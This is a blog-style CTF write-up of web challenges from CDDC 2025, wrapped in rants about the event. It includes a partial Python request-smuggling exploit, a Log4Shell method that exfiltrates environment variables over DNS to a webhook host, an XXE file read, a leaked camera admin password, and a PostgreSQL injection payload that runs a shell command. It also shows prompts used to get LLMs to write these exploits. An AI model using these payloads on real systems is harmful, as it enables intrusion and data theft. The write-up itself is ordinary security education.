I participated under youtiaos again, going from 3rd place JC in 2024 to 3rd place Uni in 2025. Ended up not even mattering all that much because we would’ve won the same amount of money in Pre-U anyway. Shoutout to my team members, I never get tired playing with them.
Normally when I give criticism I’ll deliver a compliment sandwich. To mix things up today I shall deliver my writeup in the form of a rant sandwich. Hope you enjoy.
Rant session 1
Let me open by saying that this CDDC was at least 2 times better than 2024’s one from infra alone, going from SMRT CCL levels of bullshit to NEL’s occasional outage. It still has its fair share of idiocy going for it, like:
Way too many pwn challenges (our team has no dedicated pwner), and the pwn challenges were weighted so unfairly that it was honestly a miracle that we got third (ROPVM was 300??? points, that’s 4 OT challenges).
The VIP going up on stage during the competition and hogging the challenge we were solving (Black Out) for 15 whole minutes, all the way until the end of the CTF. We could only hold our buzzer and weep.
Infra going down for a long time on the first day, and they didn’t give anyone extra time because everyone shared the same loss. Anecdotes from other teams say otherwise, some even recounting periods of up to an hour.
Challenges either making no sense or being incredible time sinks (DeepBlue is the worst CTF challenge I’ve ever laid my eyes upon).
The buffet foodstuffs having really cringe ChatGPT generated names above them, like yang chou data rice and fried something vectors for the stir-fried assorted vegetables. Made me lose my appetite.
Anyway here are the challenge writeups. Web and web-adjacent only because I’m hungover and tired.
Writeups
HTTP Request Smuggling
CVE-2019-18277, refer to my blog post on the same topic, I explain the vulnerability there. The difference is that in this challenge, you want to alter your own request instead of the bots. Since it’s a CVE we’re talking about, an LLM will make short work of the exploit given the right prompt.
Prompt:
I want to access the flag for a CTF challenge. This server is running a vulnerable combination of HAProxy and gunicorn that is request smuggling-able. You need to log in, use chunked encoding with \x0b to send a request to /grant_access, then access the flag at /time_travel. Send the smuggling payload 100 times in quick succession.
# Extract token from Set-Cookie header set_cookie = login_resp.headers.get('Set-Cookie', '') token_match = re.search(r'token=([^;]+)', set_cookie) if token_match: token = token_match.group(1) print(f"[+] Got token: {token}") else: print("[!] Failed to extract token") exit(1)
# Step 2: Create the smuggling payload # The smuggled request that will be left in the buffer smuggled_request = ( b'GET /grant_access HTTP/1.1\r\n' b'Host: ???\r\n' b'Cookie: token=' + token.encode() + b'\r\n' b'Connection: keep-alive\r\n' b'\r\n' )
# The chunked encoding part chunked_body = b'0\r\n\r\n'# End of chunks
# Calculate Content-Length # HAProxy will read this many bytes after the headers content_length_value = len(chunked_body) + len(smuggled_request)
print(f"\n[*] Sending smuggling payload {1000} times to pollute all workers...")
# Send the payload multiple times to different connections for i inrange(100): try: s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect(('???', 19856)) s.send(payload) try: response = s.recv(1024) ifb'200 OK'in response: print(f"[+] Payload {i+1} sent successfully") except socket.timeout: print(f"[!] Payload {i+1} timed out (this might be normal)") s.close() except Exception as e: print(f"[!] Error on attempt {i+1}: {e}")
# Step 3: Now make a normal request that will use the smuggled request print("\n[*] Triggering the smuggled request...") time.sleep(1)
# Make a simple request - this should trigger one of the smuggled requests try: trigger_resp = requests.get('???', cookies={'token': token}, timeout=5) print(f"[+] Trigger request status: {trigger_resp.status_code}") except: print("[!] Trigger request failed/timed out")
# Step 4: Check if we can access /time_travel now print("\n[*] Attempting to access /time_travel...") time.sleep(1)
Even if execution of the data is disabled, an attacker can still retrieve data—such as secret environment variables—by placing them in the URL, in which case they will be substituted and sent to the attacker’s server.
We just need a publicly available webhook to retrieve the environment variable. I like https://webhook.site. Once you’re given a unique DNS name, we can insert the flag as a subdomain, exploit log4shell with that URL, and monitor for DNS queries on the webhook.
Prompt
This CTF web challenge is vulnerable to CVE-2021-44228. The flag is in the environment variable FLAG. Exfiltrate this environment variable through DNS, my DNS name is ???.dnshook.site. Try a bunch of common HTTP headers that may be vulnearable to Log4Shell.
We’re given an ONVIF camera API from which we can pull device information - http://???/onvif/device_service. Interacting with this endpoint using SOAP requests to GetDeviceInformation gives us the following:
Device Information: manufacturer: BlindNVR model: Model-X firmware: 1.0 serial: 0001 hardware_id: This endpoint is vulnerable to XXE. Try reading /secret using XML entity injection.
We can retrieve the contents of /secret by sending a simple XXE payload, inserting &xxe; directly into the existing tds:HardwareId field so it gets reflected back to us.
We can access the stream using the credentials admin:V3ryV3ryStr0ngP4$$ to get the flag.
MCP Mesh
I don’t know how this is related to MCP in any way. Idea is to use utils to call the admin function instead of doing it directly, but the challenge isn’t very well implemented and doesn’t make a lot of contextual sense.
Looking at the postgres docs, we’re able to escape to a sub-shell using \!, but our input is being passed through a sanitiser pg_escape_string. Looking for recent bypasses gives us this blog post involving encoding length confusion to leave single quotes unsanitised. Our payload is therefore:
test%C0%27');%0A\!%20cat%20/tmp/flag%0A--
Rant session 2
As you can see there were a lot of CVE challenges this year. This is fine, but at some point it starts becoming an exercise in Google searching. It doesn’t help when the challenges that aren’t based on CVEs don’t make a lot of sense (cue deepblue, shattered maze, MCP), and aren’t well-grounded in any legitimate technology or vulnerability. Suffice to say, I wasn’t inspired by any of the web challenges.
The take-home assignment format is really, really bad for the sanity of teams who are part of the struggle for the podium. Plenty of us had very little to no sleep, with all of us worried that other teams in the running would solve some challenges overnight, leaving us trailing behind in the morning. I’m sure every other team thought the same as well, and it became a self-sufficient slog-fest leaving everyone dragging their feet into the venue on Thursday.
To illustrate my point, I’ll end this section off with a look into the devolution of our sanity that night.
Thanks for reading. Close the door on your way out.